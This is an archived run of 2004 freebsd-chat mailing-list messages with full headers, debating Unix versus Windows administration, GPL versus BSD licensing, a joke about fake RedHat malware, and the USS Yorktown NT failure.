(tx-65-40-201-169.sta.sprint-hsd.net [65.40.201.169]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3AB8243D31 for ; Mon, 25 Oct 2004 16:45:02 +0000 (GMT) (envelope-from kevin_lyons@ofdeng.com) Received: from [192.168.1.3] (cygni.corserv.com [192.168.1.3]) by corserv.corserv.com (8.12.11/8.11.6) with ESMTP id i9PHkLXE013267; Mon, 25 Oct 2004 12:46:22 -0500 (CDT) (envelope-from kevin_lyons@ofdeng.com) Message-ID: <417D2C5D.3040901@ofdeng.com> Date: Mon, 25 Oct 2004 11:39:57 -0500 From: Kevin Lyons User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Peter Hummers References: <20041024191235.L1580-100000@cakes.towanda.bsd> In-Reply-To: <20041024191235.L1580-100000@cakes.towanda.bsd> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-chat@freebsd.org Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 16:45:03 -0000 >But a shadow still falls on my computing experience when I try to tell > civilians how I avoid Microsoft without a Macintosh. "Uh, well, it's > _like_ Linux, but ... well, it's Unix." "Eunuchs!!? O-kay, well, see ya > later..." In this day and age, if they don't know what Unix is, then they deserve to live in the Microsoft ghetto. Everyone is not ready to drive a 1000hp F1 race car. Most users belong in a 50hp compact car. Trying to dumb down the race car so grandma can drive it is about as effective as trying to dumb down linux ala redhat and friends. In general, users get what they deserve; which is to say spyware, viruses, microsoft email clients such as outhouse that don't work properly with imap, active X taking over their computer, corporate windoze servers that measure uptime in hours, etcetera. From owner-freebsd-chat@FreeBSD.ORG Mon Oct 25 16:52:09 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A4E4316A4CF for ; Mon, 25 Oct 2004 16:52:09 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4D9EC43D39 for ; Mon, 25 Oct 2004 16:52:09 +0000 (GMT) (envelope-from torstenvl@gmail.com) Received: by rproxy.gmail.com with SMTP id 79so369817rnk for ; Mon, 25 Oct 2004 09:52:07 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=IjBbJggVqhVI0pp1sfYXOFv0UAcRC/Yijj2Aunf70qk71sRDYr9jX3er5Xod4Rtq+LEhbDeXpvGyJrzpOJUgTvX9+luciVJ22VZOnh3sW5AJahiMNsgaV+sICWy/DtJl3QYQ+dM20O6pmErPZtE1uki6bV13Ojl8TUscxWh90KI= Received: by 10.38.79.21 with SMTP id c21mr1173621rnb; Mon, 25 Oct 2004 09:52:06 -0700 (PDT) Received: by 10.38.73.39 with HTTP; Mon, 25 Oct 2004 09:52:03 -0700 (PDT) Message-ID: <126eac4804102509525ae1b2f5@mail.gmail.com> Date: Mon, 25 Oct 2004 12:52:04 -0400 From: =?UTF-8?Q?Josh_=C5=8Cckert?= To: Paul Robinson In-Reply-To: <20041025125859.GH18312@iconoplex.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable References: <200410242157.i9OLvRtV011244@2ens11.uta.edu> <20041025114050.GA86965@theatre.sax.de> <20041025125859.GH18312@iconoplex.co.uk> cc: freebsd-chat@freebsd.org Subject: Re: RedHat: Buffer Overflow in "ls" and "mkdir" X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: =?UTF-8?Q?Josh_=C5=8Cckert?= List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Oct 2004 16:52:09 -0000 On Mon, 25 Oct 2004 13:58:59 +0100, Paul Robinson wr= ote: > On Mon, Oct 25, 2004 at 01:40:50PM +0200, Martin Welk wrote: >=20 > > Well, this might be the reason why Linux will never be able to get thro= ugh > > into a mass market... You even have to install your viruses and worms > > manually. >=20 > This came up today as well: >=20 > http://www.theregister.co.uk/2004/10/25/mac_rootkit_opener/ >=20 > But the Reg, being the Reg, still stand firm: >=20 > http://www.theregister.co.uk/2004/10/22/linux_v_windows_security/ >=20 > Thing about OS security, is that I think market penetration does make a > difference. There hasn't been a hole announced in Plan 9 or QNX in, > well, years, but if either had > 10% penetration in the Internet, I > think you'd start to see more and more attacks. It's exactly what > happened to NT4 - for ages considered secure until people started > installing it and then the holes just opened up for all to see. >=20 > I don't know whether I have told this list before, but I used to work > with a guy who was doing penetration tests and auditing code for the > company I was at. He claimed that nobody had ever really taken a close > look at VMS from a security point of view due to market penetration, so > whilst Compaq were claiming it to be the most secure OS on the planet, > he was able to use exploits that would have worked against BSD boxes 10 > years ago. Unbelieveable stuff. He did announce some, they were mostly > holes in the TCP/IP stack addon most sites were using. >=20 > Just out of curiosity, are the security patch-ups being committed over > at OpenBSD still finding their way over here? I haven't been watching > much for the last 12 months. >=20 > -- > Paul Robinson >=20 > http://www.iconoplex.co.uk/ > "All I know is I'm not a Marxist" - Karl Marx >=20 >=20 > _______________________________________________ > freebsd-chat@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-chat > To unsubscribe, send any mail to "freebsd-chat-unsubscribe@freebsd.org" >=20 Woman: "In further news, the Canadian Prime Minister is subscribed to FreeBSD-chat mailing list. Here's the report from our field correspondant and eye witness, Josh Ockert*" Josh: "Yes, ma'am, well, I opened up my beta GMail (that's Google's new e-mail service) inbox this morning to see a new message about the fake RedHat malware, and in the from was written 'Martin, Paul'. I knew right then that he must be a closet liberal, engaged in open-source activities. This came as a shock to me, as both http://pm.gc.ca/ and http://www.conservative.ca/ run Windows 2000, as does the Liberal Party's website, whereas only the New Democratic Party's website used to run Linux and now runs on FreeBSD (pour ceux qui voudraient vraiment savoir, le site web du Bloc Qu=E9becois utilise aussi Windows 2000). Is Paul Martin endorsing the NDP?" Woman: "Wow, that *is* interesting, Josh!" Woman: "Tonight we have a special report on the progress of the Brazillian space program..." * Disclaimer: Josh Ockert is not officially a Canadian, just an American who was born far enough north in the state of Michigan to have some sense about him. Further disclaimer: IT'S A JOKE From owner-freebsd-chat@FreeBSD.ORG Tue Oct 26 03:35:34 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 958BF16A4CE for ; Tue, 26 Oct 2004 03:35:34 +0000 (GMT) Received: from gldis.ca (constans.gldis.ca [66.11.169.73]) by mx1.FreeBSD.org (Postfix) with ESMTP id 17A7243D2F for ; Tue, 26 Oct 2004 03:35:34 +0000 (GMT) (envelope-from gldisater@gldis.ca) Received: from [127.0.0.1] (localhost [127.0.0.1]) by gldis.ca (8.12.11/8.12.11) with ESMTP id i9Q3fnN8060166; Mon, 25 Oct 2004 23:41:50 -0400 (EDT) (envelope-from gldisater@gldis.ca) From: Jeremy Faulkner To: Graham Bentley In-Reply-To: <3.0.6.32.20041025084122.007cdb50@mail.uk2.net> References: <3.0.6.32.20041025084122.007cdb50@mail.uk2.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-N3ZxoNxXXzXKfG9inn70" Message-Id: <1098747544.48352.36.camel@ocean-deep.gldis.ca> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Mon, 25 Oct 2004 23:39:04 +0000 X-Virus-Scanned: ClamAV 0.80rc4/524/Sun Oct 10 11:36:08 2004 clamav-milter version 0.80j on constans.gldis.ca X-Virus-Status: Clean cc: freebsd-chat@freebsd.org Subject: Re: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Oct 2004 03:35:34 -0000 --=-N3ZxoNxXXzXKfG9inn70 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Moved to chat@ On Mon, 2004-10-25 at 07:41, Graham Bentley wrote: > I (mis?)interpret this as follows :- >=20 > If you use some BSD code in some project that you turn into > proprietry code you just need to include the appropriate=20 > acknowledgement statements - but you can exclude=20 > anyone from using that new code / solution. When someone releases code under the BSD license they do it in trust that others will give back changes to the code. They do not expect nor demand those changes back. Those changes are recognized to belong to their author. That author can do what they please with them, just like the original author did as he pleased with his code (released it to the community). >=20 > With the GPL you are explicitly giving away your right to do this=20 > whilst at the same time leaving a the door open for others if they=20 > want to use your code / solution. With the GPL no one trusts anyone else to release their code back to the community. It's like they're sitting in a room with pistols pointed at each others heads trying to work together, using the force of violence to keep each other honest. The GPL uses the force of law to do the same. When the author of the code releases his work under the GPL he uses the license to force the openness of any changes made to that code. I guess it can't be considered forcing a developer to release their code if they read and agreed to the license. Just like nobody forced anyone to remain in the room full of pistols. But that door isn't left open for anyone to use the code / solution, only those that are willing to sit in the room and aim the pistol at someone. If you choose to leave the room, you must also leave all of the work behind and start fresh. If you don't, all those guys with pistols hunt you down. Some people may be willing to sit in that room, while others are not. When they give, they expect to receive. They don't give for the sake of giving. The same occurs with regard to Apple's involvement with the BSDs, every now and then someone comes forward asking what Apple gave back to the community, as if Apple were required to do so. GPL is for freedom of the source code. BSD is for freedom of choice of the author. I do not value the source code's freedom over my own. --=20 Jeremy Faulkner --=-N3ZxoNxXXzXKfG9inn70 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (FreeBSD) iD8DBQBBfY6Yfb0Lle2MIEIRAvRdAKDUS/kKdYkN60R7twcyoy8t2p41WACgsljQ PoOwwe6EpAOAzAqkERU+0QM= =lck0 -----END PGP SIGNATURE----- --=-N3ZxoNxXXzXKfG9inn70-- From owner-freebsd-chat@FreeBSD.ORG Tue Oct 26 13:55:43 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 58AE416A4CE for ; Tue, 26 Oct 2004 13:55:43 +0000 (GMT) Received: from frink.w3.org (frink.w3.org [128.30.52.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 236B143D2F for ; Tue, 26 Oct 2004 13:55:43 +0000 (GMT) (envelope-from aa-sender@w3.org) Received: from lists by frink.w3.org with local (Exim 4.34) id 1CMRna-0003qs-2u for freebsd-chat@freebsd.org; Tue, 26 Oct 2004 13:55:42 +0000 To: freebsd-chat@freebsd.org From: W3C List Manager In-Reply-To: Precedence: bulk Message-Id: Date: Tue, 26 Oct 2004 13:55:42 +0000 Subject: IMPORTANT: your message to svg-testsuite-comments X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Oct 2004 13:55:43 -0000 This is a response to a message apparently sent from your address to svg-testsuite-comments@w3.org: Subject: Returned mail: see transcript for details From: freebsd-chat@freebsd.org Date: Tue, 26 Oct 2004 16:15:31 +0200 Your message has NOT been distributed to the list; before we distribute it, we need your permission to include your message in our Web archive of all messages distributed to this list. Please visit: http://www.w3.org/Mail/review?id=2d84b6bab3e97c5fa8f2 and follow the simple procedure listed to give us permission to include your message in our Web archives. It should take less than one minute of your time, and only needs to be done once. If you do not give us this permission by Tue Nov 2 13:55:42 UTC 2004, your message will be deleted from our systems without being distributed to the list. Please do not reply to this message; for more information on this system, including information on how to provide feedback, please see: http://www.w3.org/2002/09/aa/ Note: W3C's mailing lists may not be used for unsolicited bulk email of any kind! -- W3C Postmaster, http://www.w3.org/Mail/ From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 15:57:46 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6A8FC16A4CE for ; Wed, 27 Oct 2004 15:57:46 +0000 (GMT) Received: from pd4mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2B27443D55 for ; Wed, 27 Oct 2004 15:57:46 +0000 (GMT) (envelope-from flowers@nekulturny.org) Received: from pd5mr8so.prod.shaw.ca (pd5mr8so-qfe3.prod.shaw.ca [10.0.141.184]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0I6900HXO2Z7JP90@l-daemon> for freebsd-chat@freebsd.org; Wed, 27 Oct 2004 09:57:07 -0600 (MDT) Received: from pn2ml9so.prod.shaw.ca ([10.0.121.7]) by pd5mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0I690013W2Z7OJ40@pd5mr8so.prod.shaw.ca> for freebsd-chat@freebsd.org; Wed, 27 Oct 2004 09:57:07 -0600 (MDT) Received: from procyon.nekulturny.org (S0106000c41b2b9a3.cg.shawcable.net [68.144.45.143]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0I6900DAC2Z60R@l-daemon> for freebsd-chat@freebsd.org; Wed, 27 Oct 2004 09:57:07 -0600 (MDT) Received: from procyon.nekulturny.org (localhost.nekulturny.org [127.0.0.1]) i9RFv687000977; Wed, 27 Oct 2004 09:57:06 -0600 (MDT envelope-from flowers@nekulturny.org) Received: (from flowers@localhost) by procyon.nekulturny.org (8.12.10/8.12.10/Submit) id i9RFv4EN000976; Wed, 27 Oct 2004 09:57:04 -0600 (MDT envelope-from flowers) Date: Wed, 27 Oct 2004 09:57:04 -0600 From: Danny MacMillan In-reply-to: To: Ted Mittelstaedt Message-id: <20041027155704.GA861@procyon.nekulturny.org> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> User-Agent: Mutt/1.4.2.1i cc: TM4525@aol.com cc: Micheal Patterson cc: stefan@swebase.com cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 15:57:46 -0000 On Wed, Oct 27, 2004 at 02:24:04AM -0600, Ted Mittelstaedt wrote: > > ... > > You take any inexperienced Windows 'administrator' (and I use the > term loosely) block diagram out your network, give him a bank check > and tell him to go duplicate it. You wouldn't see more than 2% of them > be able to do it. So much for Windows being 'easy' It's only easy > if you know what your doing. But, then again, so is UNIX. > > Ted I agree. Microsoft concentrates on accessibility, reducing the apparent complexity until it can be readily (or at least much more easily) grasped by people who would be otherwise unable or unwilling to do so. They excel at lowering the entry-level requirements for performing computing tasks. Hence Visual Basic, Windows Server 2003, Exchange Server, &c. These programs are very discoverable. You don't need to have a good understanding of what you're doing in order to get them to work -- the program itself provides sufficient hinting through the user interface to guide you through the process. Suddenly ANYONE can be a programmer or system administrator! The problem is, =only= the entry level requirements are reduced. Or, rather, Microsoft enables you to deal with the complexity gradually instead of all at once. It's a great approach for a world where people hate reading the instructions on how to put together their barbeque. Unix is more the other way; if you don't understand what you're doing before you begin you are going to be doing a lot of reading. You SHOULD do the reading on the MS side, too; you just don't have to. I don't disdain the Microsoft pointy-clicky approach. It is easier to use because it provides psychological tools to help manage complexity. However, when things don't work you still have to do the learning you were able to defer at the beginning. I'd say if all you ever need is the first 80%, less skill is required on the Windows side than the Unix side because Microsoft has made an effort to make that 80% accessible. After that you'll need someone equally skilled as on the Unix side. The problem is, most people on the MS side who are at the 80% mark have 20% of the "required" knowledge (the rest being embedded in the tools). Everyone on the Unix side at 80% had to absorb 80% of the knowledge to get there. So when you need the next 5%, you're more likely to find competent help in the Unix world (at least that's been my experience). -- Danny From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 16:22:17 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A877816A4CE for ; Wed, 27 Oct 2004 16:22:17 +0000 (GMT) Received: from smtp2.tsgincorporated.com (ns2.tsgincorporated.com [67.66.242.6]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5BAAC43D46 for ; Wed, 27 Oct 2004 16:22:15 +0000 (GMT) (envelope-from micheal@tsgincorporated.com) Received: from localhost (localhost.tsgincorporated.com [127.0.0.1]) by smtp2.tsgincorporated.com (Postfix) with ESMTP id E114D28E213; Wed, 27 Oct 2004 11:22:08 -0500 (CDT) Received: from smtp2.tsgincorporated.com ([127.0.0.1])port 10024) with ESMTP id 01714-05; Wed, 27 Oct 2004 11:22:06 -0500 (CDT) Received: from smtp3.tsgincorporated.com (support.tsgincorporated.com [67.66.242.9]) by smtp2.tsgincorporated.com (Postfix) with ESMTP id 479E628E24B; Wed, 27 Oct 2004 11:22:06 -0500 (CDT) Received: from micheal (micheal.tsgincorporated.com [67.66.242.77]) by smtp3.tsgincorporated.com (Postfix) with SMTP id 0086A62896; Wed, 27 Oct 2004 11:22:11 -0500 (CDT) Message-ID: <04df01c4bc41$1d610450$4df24243@tsgincorporated.com> From: "Micheal Patterson" To: "Danny MacMillan" , "Ted Mittelstaedt" References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <20041027155704.GA861@procyon.nekulturny.org> Date: Wed, 27 Oct 2004 11:22:10 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Virus-Scanned: by AV Subsystem at smtp2.tsgincorporated.com cc: TM4525@aol.com cc: freebsd-chat@freebsd.org cc: stefan@swebase.com Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 16:22:17 -0000 ----- Original Message ----- From: "Danny MacMillan" To: "Ted Mittelstaedt" Cc: "Micheal Patterson" ; ; ; Sent: Wednesday, October 27, 2004 10:57 AM Subject: Re: Serious investigations into UNIX and Windows > On Wed, Oct 27, 2004 at 02:24:04AM -0600, Ted Mittelstaedt wrote: > > > > ... > > > > You take any inexperienced Windows 'administrator' (and I use the > > term loosely) block diagram out your network, give him a bank check > > and tell him to go duplicate it. You wouldn't see more than 2% of them > > be able to do it. So much for Windows being 'easy' It's only easy > > if you know what your doing. But, then again, so is UNIX. > > > > Ted > > I agree. > > Microsoft concentrates on accessibility, reducing the apparent > complexity until it can be readily (or at least much more easily) > grasped by people who would be otherwise unable or unwilling to > do so. They excel at lowering the entry-level requirements for > performing computing tasks. Hence Visual Basic, Windows Server > 2003, Exchange Server, &c. > > These programs are very discoverable. You don't need to have a > good understanding of what you're doing in order to get them to > work -- the program itself provides sufficient hinting through > the user interface to guide you through the process. Suddenly > ANYONE can be a programmer or system administrator! > > The problem is, =only= the entry level requirements are reduced. > Or, rather, Microsoft enables you to deal with the complexity > gradually instead of all at once. It's a great approach for a > world where people hate reading the instructions on how to put > together their barbeque. Unix is more the other way; if you > don't understand what you're doing before you begin you are going > to be doing a lot of reading. You SHOULD do the reading on the > MS side, too; you just don't have to. > > I don't disdain the Microsoft pointy-clicky approach. It is > easier to use because it provides psychological tools to help > manage complexity. However, when things don't work you still > have to do the learning you were able to defer at the beginning. > > I'd say if all you ever need is the first 80%, less skill is > required on the Windows side than the Unix side because > Microsoft has made an effort to make that 80% accessible. > After that you'll need someone equally skilled as on the > Unix side. The problem is, most people on the MS side who > are at the 80% mark have 20% of the "required" knowledge > (the rest being embedded in the tools). Everyone on the > Unix side at 80% had to absorb 80% of the knowledge to > get there. So when you need the next 5%, you're more likely > to find competent help in the Unix world (at least that's > been my experience). > > -- > Danny > You've stated what I should have said in my first message actually. Toe to toe, with all of the additional applications that are provided by MS for MS Servers, in a hybrid network, yes. Windows is more time consuming to administrate than Unix. I will concede that. However, for the sake of those new to the network admin career, Windows, in the beginning, is by far easier to master and manage. For example, Take 4 servers, put Windows 2k / 2k3 on 2 of the servers, then turn around and place Freebsd, Linux, or any flavor of *nix on the remaining 2 servers. Then tell someone that you want the 2 windows servers to share user data, replication, dns, and web. Then have that same person configure nis/nfs, bind, and apache on the *Nix servers. Now, tell me how, you can consider that the *Nix systems are easier? To us they may be, but look at the target market that MS is aiming for in all of their products. At least with Windows, you'll have the nice little Admin menu first appear to get them started. What do you get with a *Nix box? -- Micheal Patterson Senior Communications Systems Engineer 405-917-0600 Confidentiality Notice: This e-mail message, including any attachments, is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 16:25:19 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9988D16A511 for ; Wed, 27 Oct 2004 16:25:19 +0000 (GMT) Received: from s1.ofdeng.com (adsl-66-137-123-97.dsl.hstntx.swbell.net [66.137.123.97]) by mx1.FreeBSD.org (Postfix) with ESMTP id 02F8643D2F for ; Wed, 27 Oct 2004 16:25:19 +0000 (GMT) (envelope-from kevin_lyons@ofdeng.com) Received: from ofdeng.com ([192.168.254.17]) by s1.ofdeng.com (8.12.11/8.12.11) with ESMTP id i9RGQYK4083503; Wed, 27 Oct 2004 11:26:36 -0500 (CDT) (envelope-from kevin_lyons@ofdeng.com) Message-ID: <417FCBDF.4040102@ofdeng.com> Date: Wed, 27 Oct 2004 11:25:03 -0500 From: Kevin Lyons User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Danny MacMillan References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <20041027155704.GA861@procyon.nekulturny.org> In-Reply-To: <20041027155704.GA861@procyon.nekulturny.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: TM4525@aol.com cc: stefan@swebase.com cc: Micheal Patterson cc: Ted Mittelstaedt cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 16:25:19 -0000 > I don't disdain the Microsoft pointy-clicky approach. It is > easier to use because it provides psychological tools to help > manage complexity. However, when things don't work you still > have to do the learning you were able to defer at the beginning. In pointing out the advantage of pointy clicky, I think you may overlook a signifigant deleterious side effect. In fact there is plenty of reason to disdain the point-click approach. Mainly because it adds complexity to the software which tends to make the software unstable. How often have you performed a gui command on a windoze "system" (pick your flavor) and found that 1 time out of 10 it did not work, even though the same procedure was repeated? How many times has that happened on a Unix box with command line? That is why the windows user/admin approach of reboot and try again is now so common (they even have a nicer name than reboot- they use the term "bounce" as in "bounce the server". And a clean install is now more nicely called a "reimage".) Yes in theory a gui should not have anything to do with these problems, but the fact remains that in the real world the code bloat and state management problems of the windows gui do lead to instability. Another rather trivial issue is resource utilization on a server that must run gui which then takes away memory and cpu time from pure server applications. We have all heard of the all too typical case of the windows network server admin running the opengl 3d pipes screen saver on his network server using 90% cpu while users wonder why the damn thing is so slow and keeps crashing. Or how about the Navy ship that was rendered immobile for 3 days because the windows screen harware that ran the ship's controls cause a blue screen of death. Laughable if it wasn't so pathetic. From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 17:03:37 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7B5B616A4CE for ; Wed, 27 Oct 2004 17:03:37 +0000 (GMT) Received: from smtp4.pacifier.net (smtp4.pacifier.net [64.255.237.174]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5755F43D4C for ; Wed, 27 Oct 2004 17:03:37 +0000 (GMT) (envelope-from charles@coppersoftware.com) Received: from chuckoplaptop (66.89.130.110.ptr.us.xo.net [66.89.130.110]) by smtp4.pacifier.net (Postfix) with ESMTP id 671626B017; Wed, 27 Oct 2004 10:03:35 -0700 (PDT) From: "Charles Oppermann" To: "'Kevin Lyons'" , "'Danny MacMillan'" Date: Wed, 27 Oct 2004 10:06:11 -0700 Organization: Copper Software MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: <417FCBDF.4040102@ofdeng.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 Thread-Index: AcS8QbR5W33ItgQUToirb/BBohnwKwABWjKw Message-Id: <20041027170335.671626B017@smtp4.pacifier.net> cc: TM4525@aol.com cc: 'Ted Mittelstaedt' cc: 'Micheal Patterson' cc: stefan@swebase.com cc: freebsd-chat@freebsd.org Subject: RE: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 17:03:37 -0000 >> Or how about the Navy ship that was rendered immobile for 3 days because the windows screen harware that ran the ship's controls cause a blue screen of death. Laughable if it wasn't so pathetic. << Well, let's look at the facts a little. The USS Yorktown was disabled for 2 hours, not 3 days. This was because an operator entered a zero into a data field, which the database software wasn't able to handle and wound up crashing. If an application performs an operation that attempts to divide by zero on UNIX or Windows, the process crashes if it doesn't set up an exception handler. The fault was entirely within the boundaries of the user mode code, not the platform. http://catless.ncl.ac.uk/Risks/19.88.html#subj1 From owner-freebsd-chat@FreeBSD.ORG Wed Oct 27 17:36:39 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E23E116A4CE for ; Wed, 27 Oct 2004 17:36:39 +0000 (GMT) Received: from s1.ofdeng.com (adsl-66-137-123-97.dsl.hstntx.swbell.net [66.137.123.97]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7452443D58 for ; Wed, 27 Oct 2004 17:36:39 +0000 (GMT) (envelope-from kevin_lyons@ofdeng.com) Received: from ofdeng.com ([192.168.254.17]) by s1.ofdeng.com (8.12.11/8.12.11) with ESMTP id i9RHc09U084862; Wed, 27 Oct 2004 12:38:04 -0500 (CDT) (envelope-from kevin_lyons@ofdeng.com) Message-ID: <417FDC97.4040503@ofdeng.com> Date: Wed, 27 Oct 2004 12:36:23 -0500 From: Kevin Lyons User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Charles Oppermann References: <20041027170335.671626B017@smtp4.pacifier.net> In-Reply-To: <20041027170335.671626B017@smtp4.pacifier.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit cc: freebsd-chat@freebsd.org Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Oct 2004 17:36:40 -0000 Charles Oppermann wrote: > Well, let's look at the facts a little. The USS Yorktown was disabled for 2 > hours, not 3 days. This was because an operator entered a zero into a data > field, which the database software wasn't able to handle and wound up > crashing. > > If an application performs an operation that attempts to divide by zero on > UNIX or Windows, the process crashes if it doesn't set up an exception > handler. Yes, look at the facts. The ship had been towed in several times due to nt failures. I have never had my system reboot or crash because of a usermode divide by zero- I guess thats another 'feature' of nt. Microsoft has done an admirable job of covering/obscuring the problem. Following link is an article with more detail talking with guys on the ship who have to service it. I have snipped out a few details. http://www.gcn.com/archives/gcn/1998/july13/cov2.htm ----------------------------- But according to DiGiorgio, who in an interview said he has serviced automated control systems on Navy ships for the past 26 years, the NT operating system is the source of the Yorktown’s computer problems. NT applications aboard the Yorktown provide damage control, run the ship’s control center on the bridge, monitor the engines and navigate the ship when under way. “Using Windows NT, which is known to have some failure modes, on a warship is similar to hoping that luck will be in our favor,” DiGiorgio said. Ron Redman, deputy technical director of the Fleet Introduction Division of the Aegis Program Executive Office, said there have been numerous software failures associated with NT aboard the Yorktown. “Refining that is an ongoing process,” Redman said. 